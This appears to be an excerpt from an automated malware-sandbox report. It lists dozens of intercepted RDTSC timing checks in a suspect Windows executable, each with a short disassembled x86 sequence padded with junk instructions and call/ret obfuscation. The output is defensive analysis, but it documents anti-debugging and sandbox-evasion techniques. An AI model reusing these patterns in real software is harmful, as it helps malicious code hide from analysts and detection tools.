Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CFDBC4 second address: CE5537 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edi 0x00000006 push eax 0x00000007 jmp 00007F15B8B84190h 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push ebx 0x00000010 call 00007F15B8B84188h 0x00000015 pop ebx 0x00000016 mov dword ptr [esp+04h], ebx 0x0000001a add dword ptr [esp+04h], 0000001Ah 0x00000022 inc ebx 0x00000023 push ebx 0x00000024 ret 0x00000025 pop ebx 0x00000026 ret 0x00000027 jmp 00007F15B8B84196h 0x0000002c ja 00007F15B8B8418Ch 0x00000032 lea eax, dword ptr [ebp+12481408h] 0x00000038 push 00000000h 0x0000003a push edx 0x0000003b call 00007F15B8B84188h 0x00000040 pop edx 0x00000041 mov dword ptr [esp+04h], edx 0x00000045 add dword ptr [esp+04h], 0000001Ah 0x0000004d inc edx 0x0000004e push edx 0x0000004f ret 0x00000050 pop edx 0x00000051 ret 0x00000052 jmp 00007F15B8B84199h 0x00000057 push eax 0x00000058 jno 00007F15B8B8419Fh 0x0000005e mov dword ptr [esp], eax 0x00000061 sub dword ptr [ebp+12462007h], edi 0x00000067 call dword ptr [ebp+122D2707h] 0x0000006d push eax 0x0000006e push eax 0x0000006f push edx 0x00000070 pushad 0x00000071 popad 0x00000072 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CE5537 second address: CE5541 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F15B904E926h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D364B0 second address: D364BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F15B8B84186h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D3661C second address: D36622 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D36622 second address: D36626 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D36901 second address: D36916 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F15B904E92Dh 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D36A8A second address: D36AA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnc 00007F15B8B84186h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F15B8B8418Bh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D3C983 second address: D3C995 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F15B904E928h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D3C995 second address: D3C999 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D3C999 second address: D3C9AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F15B904E92Dh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D3C9AE second address: D3C9B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F15B8B84186h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D3B3A7 second address: D3B3E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B904E933h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edx 0x0000000b jmp 00007F15B904E934h 0x00000010 pushad 0x00000011 popad 0x00000012 pop edx 0x00000013 ja 00007F15B904E932h 0x00000019 jp 00007F15B904E926h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D3B7C1 second address: D3B7F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B8B84195h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jp 00007F15B8B84188h 0x00000010 je 00007F15B8B8418Ah 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D3B97D second address: D3B981 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D3B981 second address: D3B99D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B8B8418Eh 0x00000007 jnc 00007F15B8B84186h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D3B99D second address: D3B9A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F15B904E926h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D3B9A7 second address: D3B9B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jo 00007F15B8B84186h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D3B9B3 second address: D3B9BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D3BB10 second address: D3BB23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F15B8B84186h 0x0000000a popad 0x0000000b push esi 0x0000000c pushad 0x0000000d popad 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D3BB23 second address: D3BB27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D3BC98 second address: D3BCA8 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F15B8B84186h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D3BCA8 second address: D3BCAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D3BCAE second address: D3BCB4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D3C261 second address: D3C26D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jnl 00007F15B904E926h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D3C26D second address: D3C277 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F15B8B8418Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D3B08E second address: D3B0AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F15B904E937h 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D3B0AE second address: D3B0B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F15B8B84186h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D3B0B8 second address: D3B0BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D3B0BE second address: D3B0C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D3B0C4 second address: D3B0C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D3B0C8 second address: D3B0D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B8B8418Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D45ED8 second address: D45EE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D45EE6 second address: D45EEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D45EEE second address: D45EF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D45919 second address: D4591E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D4591E second address: D45925 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D45925 second address: D4592B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D4657D second address: D46583 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D46583 second address: D4658F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D46896 second address: D468B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 jnl 00007F15B904E932h 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 pop esi 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D46B74 second address: D46B93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 ja 00007F15B8B84186h 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 popad 0x00000012 push esi 0x00000013 jc 00007F15B8B84188h 0x00000019 push eax 0x0000001a pop eax 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D46B93 second address: D46B9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F15B904E926h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D46B9D second address: D46BA7 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F15B8B84186h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D4993D second address: D49954 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F15B904E932h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D49954 second address: D4996E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jc 00007F15B8B84186h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 ja 00007F15B8B84186h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D49AD8 second address: D49ADC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D4B644 second address: D4B64E instructions: 0x00000000 rdtsc 0x00000002 jl 00007F15B8B8418Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D4B64E second address: D4B665 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F15B904E92Eh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D4D9F3 second address: D4D9F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D4D9F8 second address: D4D9FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D551CC second address: D551D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D53983 second address: D53989 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D53989 second address: D53991 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D53D60 second address: D53D64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D53D64 second address: D53D9A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F15B8B84198h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F15B8B84198h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D53D9A second address: D53DC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F15B904E92Dh 0x00000009 jmp 00007F15B904E937h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CFD4ED second address: CFD4F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CFD4F1 second address: CFD4FB instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F15B904E926h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CFD4FB second address: CFD553 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F15B8B84188h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov edi, dword ptr [ebp+122D345Ah] 0x00000011 mov ebx, dword ptr [ebp+12481447h] 0x00000017 push 00000000h 0x00000019 push edx 0x0000001a call 00007F15B8B84188h 0x0000001f pop edx 0x00000020 mov dword ptr [esp+04h], edx 0x00000024 add dword ptr [esp+04h], 00000014h 0x0000002c inc edx 0x0000002d push edx 0x0000002e ret 0x0000002f pop edx 0x00000030 ret 0x00000031 jl 00007F15B8B84189h 0x00000037 mov dx, si 0x0000003a mov ecx, dword ptr [ebp+122D3C2Ah] 0x00000040 add eax, ebx 0x00000042 mov ecx, dword ptr [ebp+122D39DEh] 0x00000048 mov edx, eax 0x0000004a push eax 0x0000004b pushad 0x0000004c push eax 0x0000004d push edx 0x0000004e js 00007F15B8B84186h 0x00000054 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CFD553 second address: CFD557 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CFD557 second address: CFD5D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F15B8B8419Ah 0x0000000c popad 0x0000000d mov dword ptr [esp], eax 0x00000010 push 00000000h 0x00000012 push ebp 0x00000013 call 00007F15B8B84188h 0x00000018 pop ebp 0x00000019 mov dword ptr [esp+04h], ebp 0x0000001d add dword ptr [esp+04h], 00000017h 0x00000025 inc ebp 0x00000026 push ebp 0x00000027 ret 0x00000028 pop ebp 0x00000029 ret 0x0000002a mov edx, dword ptr [ebp+122D3BC6h] 0x00000030 push edx 0x00000031 xor edx, 1ABC253Ch 0x00000037 pop ecx 0x00000038 mov di, si 0x0000003b push 00000004h 0x0000003d push 00000000h 0x0000003f push edi 0x00000040 call 00007F15B8B84188h 0x00000045 pop edi 0x00000046 mov dword ptr [esp+04h], edi 0x0000004a add dword ptr [esp+04h], 00000017h 0x00000052 inc edi 0x00000053 push edi 0x00000054 ret 0x00000055 pop edi 0x00000056 ret 0x00000057 nop 0x00000058 push ebx 0x00000059 pushad 0x0000005a push eax 0x0000005b push edx 0x0000005c rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CFD5D1 second address: CFD5D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D541FB second address: D54217 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F15B8B84191h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D54217 second address: D5422E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B904E92Eh 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D5422E second address: D54262 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 jns 00007F15B8B841BCh 0x0000000e ja 00007F15B8B841A0h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D54395 second address: D5439B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D5439B second address: D543CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F15B8B84196h 0x00000010 jmp 00007F15B8B8418Eh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D543CA second address: D543E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F15B904E933h 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D54EE5 second address: D54EEF instructions: 0x00000000 rdtsc 0x00000002 jg 00007F15B8B84186h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D54EEF second address: D54F05 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B904E930h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D54F05 second address: D54F09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D54F09 second address: D54F0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D580F5 second address: D58119 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jc 00007F15B8B84188h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e jg 00007F15B8B841B0h 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F15B8B8418Eh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D58119 second address: D5811D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D5811D second address: D58123 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D577ED second address: D577F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D57B10 second address: D57B20 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jne 00007F15B8B84186h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D5BEDC second address: D5BF04 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F15B904E93Eh 0x00000008 jnp 00007F15B904E92Eh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D5B968 second address: D5B96C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D64501 second address: D6451B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F15B904E932h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D6451B second address: D64537 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B8B84194h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D64537 second address: D6453D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CBB3C4 second address: CBB3C9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CBB3C9 second address: CBB3EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 jo 00007F15B904E92Ch 0x0000000d je 00007F15B904E926h 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushad 0x00000016 jmp 00007F15B904E92Dh 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CBB3EF second address: CBB40E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F15B8B84186h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F15B8B8418Bh 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D62726 second address: D6273B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F15B904E926h 0x0000000a pop eax 0x0000000b push edi 0x0000000c push edi 0x0000000d pop edi 0x0000000e jns 00007F15B904E926h 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D62A38 second address: D62A50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 pushad 0x00000007 jne 00007F15B8B8418Eh 0x0000000d jo 00007F15B8B84186h 0x00000013 push edi 0x00000014 pop edi 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
